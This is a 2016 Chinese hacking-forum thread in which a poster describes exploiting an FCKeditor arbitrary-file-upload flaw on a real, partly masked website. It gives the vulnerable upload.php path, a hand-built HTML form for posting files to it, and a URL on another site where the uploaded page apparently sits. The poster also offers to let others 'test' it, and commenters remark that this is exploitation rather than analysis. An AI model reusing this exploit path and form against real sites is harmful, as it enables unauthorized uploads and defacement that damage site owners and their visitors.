一次上传漏洞的分析

3‘server · 发表于 2016-2-2 23:05:53

http://xxx552.com/
目标网站
===========================================
多出漏洞
===========================================
fck漏洞
=====================================
任意文件上传
======================================
神器漏洞扫到
========================================
common/lib/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media
=======================================================
看到这个地址，访问无回显
=======================================================
猜测是一个上传地点
=======================================================
于是自己写了一个表单上传
=======================================================

<form id="frmUpload" enctype="multipart/form-data"

action="127.0.0.1/comxmon/lib/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>

<input type="file" name="NewFile" size="50"><br>

<input id="btnUpload" type="submit" value="Upload">

</form>
===============================================================================
360截图20160202223352370.jpg

=========================================================================
写一首非常好听的音乐mv做黑夜吧，好久没玩黑夜了
======================================================================
找回以前的味道
===========================================================================
http://js0552.com/data/fck//1.html
=========================================================================
需要测试的朋友可以找到我微博私信我
=========================================================
www.weibo.com/webitent

浮尘 · 发表于 2016-2-2 23:08:56

黑夜不是咋们论坛的大黑阔么

国光nice · 发表于 2016-2-2 23:49:12

浮尘发表于 2016-2-2 23:08
黑夜不是咋们论坛的大黑阔么

黑夜他说他退出网络了

Mrlin · 发表于 2016-2-3 11:48:38

提示: 作者被禁止或删除内容自动屏蔽

wuyan · 发表于 2016-2-3 13:16:20

这个........，叫利用吧，怎么就分析了呢

2858489968 · 发表于 2016-2-3 22:04:14

这个........，叫利用吧，怎么就分析了呢

haomoon · 发表于 2016-12-24 02:53:53

楼主谢谢了

一次上传漏洞的分析

指导单位

旗下站点

联系我们